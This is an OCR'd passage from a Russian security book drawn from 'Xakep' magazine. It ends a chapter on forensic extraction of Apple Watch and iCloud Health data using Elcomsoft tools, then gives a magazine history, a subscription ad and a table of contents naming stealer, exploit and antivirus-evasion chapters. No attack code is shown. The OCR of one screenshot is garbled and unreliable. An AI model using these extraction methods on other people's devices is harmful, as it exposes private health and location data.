ни з ированны х фотографий. Наибольший интерес пре дста вляют база д анных 

Photos.sqlite и папка Thumbnails . В базе Photos.sqlite содержитс я информация 

о фотографиях , которые хранятся на часах . Детальное описание ст р укту ры базы дос­

тупно з десь: https://www.forensicmikel.com/2019/05/02/ios-photos-sqlite-forensics/. 

Готовые зап росы SQL можно скачать здесь: https://github.com/kacos2000/queries/ 

ЫoЬ/master/Photo s _sq lite.sql. 

Н аконец , в папке Thumbnails хранятся уме ньшенные превью изображений на 

App le Watcl1 . Формат IТНМВ можно преобразовать в привычный JPEG при помощи 

утилиты iThmb Converter, которая досту пна для скачивания п осылке http://www. 

ithm bconverter.com . 
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D б117677501144294582.m4а 
, 0 б117677501144294584.m4а 
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Рис . 15.24. Купленные файлы можно обнаружить в папке Purchases 

Выводы 

Через переходник мы получили даже меньше информации, чем при анализе ре­

зе рвн ой копии часов. Тем не менее, ценность этих данных несравнимо выше , чем 

данных из ре зе рвной копии: для получения доступа ко всей этой информации нам 

не нужен свя з анный с часами iPhone - вполне достаточно самих часов. Многие 

данные уникальны ; особо ценны логи часов вообще и логи PowerLog в частности, 

а также талоны из приложения Wallet. 

Можно ли извлечь больше? Да , можно , если для часов будет досту пен джейлбрейк . 

Для актуальных версий WatchOS джейлбрейка сейчас не су щес твуе т. Е д инственной 

попыткой было при ло жение jelbrekTime (именно в таком написании) для 

WatchOS 4.0-4.1. 

Ситуация может измениться в ближайшее время. Для WatchOS 4.0-5. 1 .2 анонсиро ­

ван джейлбрейк Brenbreak, который обещают выпустить для всех актуальных вер­

сий ч асов до конца 2019 года. Мы с нетерп ением ожидаем выхо д а джейлбрейка, 

ч тобы снять наконец образ файловой системы часов и посмотреть , что там най­

дется. 

Доступ через облако 

Что еще можно извлечь из часов? С технической точки зрения из самих часов -

ничего, но из облака iCloud можно извлечь часть информации , которую iPhone по­

лучает именно от часов Apple Watch. Речь о данных « Здоровье », в состав которых 

входит счетчик шагов , данные со встроенного в часы навигатора GPS, да нные 

сердцебиения пользователя и снятые электрокардиограммы, а также д ругие типы 

данных, для получения которы х могли исполь зо ваться сторонние приложения . 

Для доступа к информации необходим Elcomsoft Phone Breaker (https://www. 
elcomsoft.com/appb.html), инструкция (https://Ьlog.elcomsoft.com/2019/01/s ecurin g-
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and-extracting-health-data-apple-healtb-vs-google-fit/, извлекаются даже те данные, 

которые Apple не отдает по запросу от правоохранительных органов). Для про­

смотра данных можно воспользоваться Elcomsoft Phone Viewer (https://www. 
elcomsoft.com/epv.html). Внешний вид этого приложения показан на рис. 15.25. 

• • 

1" Filter 

Date 

ГО'W,' 17 . 09 . Ю\1 

U,.";. 27.11.2018 

, SOum, 

' '"""" ,; \/Ьfnw's\Phont;Xr' 

, ~mlr'IApPleWcitdl] 

., 'Aldniir'Sдpple\~ch ◄ 

" ~Wiltch 

• l.kl\nownAPOМ!~ 
, ._.....,. 
" ~W,tm~] 

, ~Watd\Smts ◄ ... 

~ Health 

"J) НoQ1e,-«c:«cr.l;.!}.l ! lO I J Of . J~ :+t( Un: ~) 
~~-1J.10..lll a 1 1 ;00.1s1uтt •" ) 

Dllte • D3teoooo:1tohoolth 

27.11 .20 18 08:Н : 37 ( UТ ... 27.11.2018 08:1'1 :+4 {UТ ..• 

27.11.20]8 08:0S : ◄ 9 (Vf... 27.1t.20J8 08 : 11 : ◄ 2 { UТ. •• 

27.11.2018 08:03:58 ( V Г- . 27.J 1.2018 08·06:03 (UТ ... 

27.11.2018 07:.58:19 (UТ .. . 27.11.2018 08:03:37 (Uf_ 

27.11.2018 07:53 : ЗS {1./f.. 27.!1.2018 07 :54 : <Ю (UТ ... 

27.11 .2018 07:St:07 (!JГ ... 27.11.2018 07:52 :28 (VТ ••• 

27.11 .2018 07 : 15 : 1 ◄ { UТ. .. 27.11 .2018 07:SJ :59 (VТ ••• 

27.11.2011 07:«l:ZS (VТ. ~ V .11.~ll 07:48:07 (UТ -

'Щ i']l iPJЩ[ jjjlf]Щtl](I[ 

~•,une:fjtn-,s; -.:, }?.1 l .)(i \1i,o.i •1 4·+t (IJ1C ,._.) 

Ol,~"'~'M".1.Z) 1 '12U IS l 4 ~,:_ ~ (I.ЛC-1) 

.: , .. ·ti· мн ~ю н+е1t+ 1 
~AppieW4tdl ◄ AppltWltt1\s«fes4 (GPS) ~6.Qre\l'O'SL. 97Q)Urc/min 

\llaclirnгs Applt Yl.mh ◄ дppew-.SCN:t4{GPS) Н..it,,,• e ~ ... 94 murt,/mln 

lhclirт,i- ' s ~le Yl&al ◄ App\eW4tth Seties ◄ (GPS) Н.dwм e 'm'Si ... 92 Cйlrt/mln 

Vladmr'sAppleWatdi ◄ ~ W«d'I Seies 4 (GPS) tiar~wrsl.. .. 79murЦml,n 

~~Wl'tth'I Арр1ес W«m Seil!s ◄ (GPS) tialt'№Wtvtrsl .. 8 5 шurtfmln 

Ylldln'r'sAppJeW,rm ◄ Арре: W«al Snll '1 (GPS) н.tdrl'Afewrsl. . 115tt:iUte/mln 

~~Wittfl'I ---•(GPSJ Н.dwan!YМL . 8 ◄ ФU rc/ min 

~Appte\Y«d'I ◄ Appe;Wltd'IS«telot (GPS} tiafehqre W1"51... . 89 court/min 

::m:rnrn: :тж:а· ' ~ ' 

Рис. 15.25. Программа Elcomsoft Phone Viewer 

Заключение 

Извлечение и анализ данных часов Apple Watch - достаточно новая и малоизучен­

ная тема. В то же время ря д вещей (например , ж у рнал PowerLog) представляют 
исключительный интерес для э кспертов-криминалистов . Уже известны несколько 

случаев , когда успешно раскрывались преступления , во время совершения которых 

преступник оставлял смартфон дома , но забывал снять часы или треке р , и они про­

должали записывать информацию. 

К сожалению, при исследовании доступными для часов методами нам не удалось 

доб раться до журнала с историей местоположения (часы Apple Watch оборудуются 

автономным датчиком GPS, который автоматически включается , если WatchOS 
считает , что поль з ователь начал тренировку). Не удалось получить доступ и к дан­

ным установленных на часах приложений. Оrсутствие полноценной службы ре­

зервного копирования не позволяет соз д ать свежую резервную копию часов иначе, 

чем отвязав их от смартфона iPhone (причем в момент , когда часы подключены 

к телефону чере з Bluetooth или Wi-Fi). Отсутствие в продаже адаптеров для под­

ключения к компьютеру актуальной версии Apple Watch 4 делает невозможным 

извлечение жизненно важных журналов. Иными словами , исследование Apple 
Watch только начинается. 



«Хакер»: . 
безопасность,разработка,DеvОрs 

История журнала «Х акер » началась задолго до февраля 1999 года , когда ув идел 

свет первый номер и зда ния. Еще в ноябре 1998 в сети DALnet появился русско­

язычный [RС-кан ал #xakep, где активно обсуждались компью терные иrры и приемы 

их взлома, а также прочие связанные с высокими технологиями вещи. Тогда же 

в недрах основанной Дмитрием Агаруновым компании Gameland зародилась и д ея 

выпускать одноименный журнал, прав д а , изначально он задумывался, как rеймер­

ский. Новое и зда ние должно было подхватить выпавшее з намя не скольк их за­

крывшихся компьютерных журналов, не переживших кри з ис 1998 года. В отличие 

от популярного «гл янца» первой половины « нулевых », и де я «Хакера» не была за ­

имствована у какого-либо и з вестного за падного издания , а и значал ьно являлась 

полностью оригинальной и самобытной. 

Читатели приняли журнал более чем благосклонно: первый номер «Хакера» был 

полностью раскуплен в Москве за несколько часов , даже несмотря на то, что он 

поступи л в продажу в 6 вечера. Журнал быстро набрал вирусную популярность , 

а одной из самых читаемых рубрик «Ха кера » стал раздел «за па длост роение », в ко­

тором авторы щедро делилис ь с аудиторией практическими рецептами и проверен­

ными способами напак остить ближнему своему при помощи различных техни­

ческих средс тв разной степени и зо щренности. 

Вскор е под влиянием читательских откликов тематика журнала стала меняться, по­

степенно смещаясь от игровой индустрии в сторону технологий взлома и за щиты 

информации, что , в общем -т о , вполне логично для издания с таким названием. 

Один из отцов-основателей « Хакера» , Денис Давыдов, посвятивший свое творчест­

во компьютерным играм , вскоре покинул редакционный коллектив , чтобы встать 

во главе соб"ственноrо журнала: так появилась на свет легендарная «Иr романия » . 
Ну а «Хакер» с тех пор сосредоточился на вопросах , изначально заложенных в его 

ДНК - хакерство, взлом и защита данных. В марте 1999 года был запущен сайт 

журнала, на котором публиковались анонсы свежих номеров - этот сайт и по сей 

день можно найти по адресу xakep.ru . 

Уже в 2001 году тираж «Хакера» составил 50 тыс. экземпляров. Вскоре после 

своего появления на свет журнал уверенно завоевал звание одного из самых по­

пулярных компьютерных и зд аний в молодежной среде - по крайней мере , именно 

так считает русскоязычная «Википедия». «Хакер» регулярно взрывал читательские 
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массы веселыми статьями о методах взлома домофонов, почтовых серверов и веб­

сайтов , временами вызывая фрустрацию у производителей программного обеспе­

чения и прочих пре дставителей крупного бизнеса. На « Хакер» писали жалобы, а 

благо д арные чит атели прин осили в редакцию пиво . Его сотрудников приглашал и 

на телевидение и радио , а само издание в то же самое время называли « вестником 

криминальной субкультуры». В общем , и авторы , и читатели развлекались, как 

могли . 

« Хакер » развивался и рос , про должая публиковать интересные статьи об операци­

онных системах, прогр аммах, сетях , rаджетах и компьютерном « железе» . Очень 

скоро все присы лаемые авторами материалы перестали помещаться под одну об­

ложку , и некоторы е сугубо технические тексты постепенно перекочевали в отдель ­

ное тематическое приложение под на з ванием « Хакер Спец » . 

В 2006 году объ ем «Хакера» едва не стал рекордным - 192 полосы . Выпустить 

номер такой толщины не получилось исключительно по техническим причинам. Со 

временем ре д акционная политика стала меняться: в журнале появлялось все ме нь­

ше хулиганских статей, посвященных всевозможным компьютерным безобраз иям, 

и все больше - аналитических материалов о секретах программирования , админ и­

стрирования , инфор мационной безопасности и защите данных. Но взлому компью­

терных систем на с траницах « Хакера» по-прежне .; 1 у у д елялось самое пристальное 

внимание . 

Ключевым для истории журнала стал 2013 год , когда параллельно с традиционной 

бумажной версией стала выходить электронная , которую можно было скачать 

в виде РDF-фай ла. А последний бумажный номер журнала увидел свет летом 

2015 го да. С той поры «Хакер» издается исключительно в режиме онлайн и досту ­

пен чита тел ям по подписке. 

Сего д няшний «Хаке р » - это популярное э лектронное и зд ание , посвященное во­

просам информаци онной безопасности , программированию и администрирова нию 

компьютерных сетей. Основу аудитории xakep.ru состав л яют э ксперты по кибе р­

бе з опасн ост и и \Т-специалисты . Мы пишем как о трен д ах и технологиях, так и 

о конкретных темах, связанных с защитой информации . На страницах «Хакер а » 

публикуются по д робны е HOWTO, практические материалы по разработке и адми­

нистрированию , интервью с выдающимися людьми , создавшими технолог ические 

про ду кты и известны е IТ-комп ании , и, к онечно. экспертные статьи об информаци­

онной бе з опасности. С подборкой таких статей ты имел возможность оз накомиться 

на страницах этой книги. Аудитория сайта xakep.ru составляет 2 500 ООО просмот­

ров в месяц , еще неск олько сотен тысяч подписчиков следят за новинками журнала 

в социальных сетя х. 

Современный «Ха кер » отличает непринужденная , веселая атмосфера . Участники 

сообщества «Xakep.ru» п олу чают несколько материалов каждый день: мануал ы по 

ко д инrу и в злому, гайды по новым возможностям и новым эксплоитам , подборки 

хакерского софта и обзоры веб-сервисов. На сайте « Хакера » ежедневно публ ик у ­

ются знаковые новос ти из мира компьютерных технологий , рассказывающие о са­

мых интересных событиях в сфере \Т. Мы еженедельно готовим дайджесты, делае м 

подборки советов и по лез ны х программ, изучаем свежие уязвимости. 
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В рубрике «Взлом» выхо д ят интересные статьи о хакерских технологиях и утили­

тах, раздел « Кодинг » посвящен хитростям программирования , в р уб рике « Приват­

ность» собраны советы и мануалы по сетевой безопасности и сохра нению своего 

инкогнито в Интернете. Статьи из раздела «Трюки» расскажут о недокументиро­

ванных во змо жностях софта и нестан да ртных аппаратны х решениях, системные 

администраторы най дут массу полезных рекомендаций по н астройке ОС и при­

кладного ПО в разделе «Адм ин », а любители гаджетов и новомодного « железа» 

смогут насладиться рубрикой «Geek». 

Присоединяйся к сообществу «Хакера» прямо сейчас! Материалы журнала выходят 

в нескольких форматах на выбор . Ты можешь по дписаться в приложении на iOS 

или Android и читать ежемесячные выпуски , либо оформить подписку на сайте и 

получать статьи каждый будний день - сразу, как только они выходят. По д писка 

на сайте также дает возможность скачивать ежемесячный PDF и читать на любом 

удобном устройстве. 

Когда « Хакер » только создавался , мы сказали себе: « Н аша цель - чтобы среди 

наших ребят программирование стало самой популярной проф ессией» . Мы исполь ­

зовали для этого все , что могли при думать, - развлекались , дурачил ись , как могли 

популяризировали ИБ, нашу субкультуру и тягу к П в любых ее проявлениях. 

И мы считаем , что во многом до стигли своей цели . 

Присоединяйся , мы будем рады видеть тебя в нашей тусовке! 

С самыми теплыми пожеланиями, 

редакция : жур на ла «Хакер». 
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Подпишись на «Хакер» и прокачай свои 

скиллы вИБ! 

Оформи додписку на xakep.ru, и ты сможешь: 

- читать ,новые актуальные материалы об ин­

формационной безопаснос ти, реверс-и:нжиниринrе, 

хаках и компьютерных трюках; 

- получить доступ к статьям, опубликованным 

на сайте завсё время ; 

- скачивать PDF со всеми вышедшими номерами. 

Доступны годовой и месячный варианты подписки. 

Вн имание: для тех, кто пос~гоянно продлевает 

по дписку, мы старс~емся сохранять прежнюю цену. 

аже когда доступ к «Хакеру» дорожает, это 

а е затрагивает наших постоянных читателей. 

https:/ /xakep.ru/about-magazine/ 
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На протяжении 20 лет на стра­

ницах « Хакера » публикуются 

интересные статьи об операци­
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сетях , гаджетах и компьютер ­
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знаковые новости из мира ком­

пьютерных технологий , мануа­

лы по кодингу и взлому , гайды 

по новым эксплойтам , подбор ­

ки хакерского софта и обзоры 

веб - сервисов . Среди авторов 

журнала - авторитетные экс ­

перты по кибербезопасности 

и IТ - специалисты . 

~НЕР ...... 


	Вместо предисловия
	1. Повышаем привилегии до суперпользователя через уязвимость в sudo (Иван aLLy Комиссаров)
	Подготовка
	Детали уязвимости
	Принцип работы эксплоита
	Практическая эксплуатация и повышение привилегий

	2. Эксплуатируем опасную уязвимость в ярлыках Microsoft Windows (Иван aLLy Комиссаров)
	Исторический экскурс
	Стенд
	Особенности линкования
	Особенности эксплуатации
	Время запускать
	Кратко о патче
	Выводы

	3. Разбираем метод общения малвари с управляющим сервером через анонимные сервисы вопросов и ответов (Герман Наместников)
	Анонимные сервисы вопросов и ответов
	Канал связи «оператор — бот»
	Регистрация
	Авторизация
	Публикация информации для ботов
	Канал связи «бот — оператор»
	Выводы

	4. Обфусцируем вызовы WinAPI и изучаем способы принудительного завершения процессов в Windows (NikZerof)
	Обфускация вызовов WinAPI
	Принудительное завершение процессов
	Подготовка
	Способы завершения процессов
	Способы завершения потоков
	Заключение

	5. Пишем стилер. Как вытащить пароли Chrome и Firefox своими руками (NikZerof)
	Chrome
	Firefox
	Network Security Services (NSS)
	Заключение

	6. Детект песочницы. Учимся определять, работает ли приложение в sandbox-изоляции (NikZerof)
	Проверяем запущенные процессы
	Проверяем подключенные модули в нашем адресном пространстве
	Человеческий фактор
	РЕВ | NumberOfProcessors
	Выясняем размер оперативной памяти
	Проверяем свободное место
	Простые тайминг-атаки
	Быстрый детект гипервизоров
	Заключение

	7. Учимся создавать и принудительно завершать критичные процессы в Windows (NikZerof)
	RtlSetProcessIsCritical
	NtSetlnformationProcess
	Проверка критичности процесса
	Выводы

	8. Как перехватывать управление любой программой через WinAPI (Nik Zerof)
	Какие бывают хуки
	Почему хуки работают?
	Сплайсинг функций WinAPI
	Пролог функций, трамплин и дизассемблер длин инструкций
	Библиотеки для перехвата
	Тестовое приложение
	Инжектор
	Итоги

	9. Антиотладка. Теория и практика защиты приложений от дебага (Nik Zero))
	lsDebuggerPresent() и структура РЕВ
	NtGlobalFlag
	Flags и ForceFlags
	CheckRemoteDebuggerPresent() и NtQuerylnformationProcess
	DebugObject
	ProcessDebugFlags
	Проверка родительского процесса
	TLS Callbacks
	Отладочные регистры
	NtSetlnformationThread
	NtCreate ThreadEx
	SeDebugPrivilege
	SetHandlelnformation
	Заключение

	10. Как сделать свой драйвер режима ядра Windows и скрывать процессы (Nik Zerof)
	Создание драйвера KMDF
	Точка входа в драйвер
	Interrupt Request Level (IRQL)
	Пакеты запроса ввода-вывода (Input/Output Request Packet)
	Создание устройства драйвера
	Скрытие процессов методом DKOM (Direct Kernel Object Manipulation)
	Загрузчик драйверов
	Итоги

	11. Маскируем запуск процессов при помощи Process Doppelganging (Nik Zer of)
	Различия Process Doppelganging и Process Hollowing
	Как пользоваться недокументированными NTAP1
	Приступаем к работе
	Заключение

	12. Фаззинг: автоматизируем поиск уязвимостей в программах (Nik Zerof)
	Техники
	Типы фаззеров
	Форматы файлов
	Аргументы командной строки и переменные окружения
	Запросы IOCTL
	Сетевые протоколы
	Браузерные движки
	Оперативная память
	Проблема покрытия
	WinAFL
	MiniFuzz
	Практика
	Заключение

	13. Обфускация PowerShell. Как спрятать полезную нагрузку от глаз антивируса (Айгуль Саитгалина)
	PowerShell в хакинге
	Обфускация PowerShell. Прятки с антивирусом
	Автоматизируем обфускацию
	DOSfuscation
	Реакция антивирусов
	Выводы

	14. Как взломать iPhone. Разбираем по шагам все варианты доступа к данным устройств с iOS (Олег Афонин)
	Это зависит
	Установлен ли код блокировки?
	Установлен ли пароль на резервную копию?
	Джейлбрейк и физическое извлечение данных
	Известен ли код блокировки?
	Экран устройства заблокирован или разблокирован?
	Включен iPhone или выключен?
	В каких случаях можно взломать код блокировки экрана
	Как работает взлом кода блокировки
	Режим USB Restricted Mode
	Что делать, если телефон заблокирован, сломан или его вовсе нет
	Заключение

	15. Извлекаем и анализируем данные Apple Watch (Олег Афонин)
	Почему Apple Watch?
	Анализ резервной копии iPhone
	Промежуточные итоги
	Извлечение данных из Apple Watch через адаптер
	Подключение к компьютеру
	Анализ лог-файлов часов
	Доступ к медиафайлам
	Выводы
	Доступ через облако
	Заключение

	«Хакер»: безопасность, разработка, DevOps
	Предметный указатель

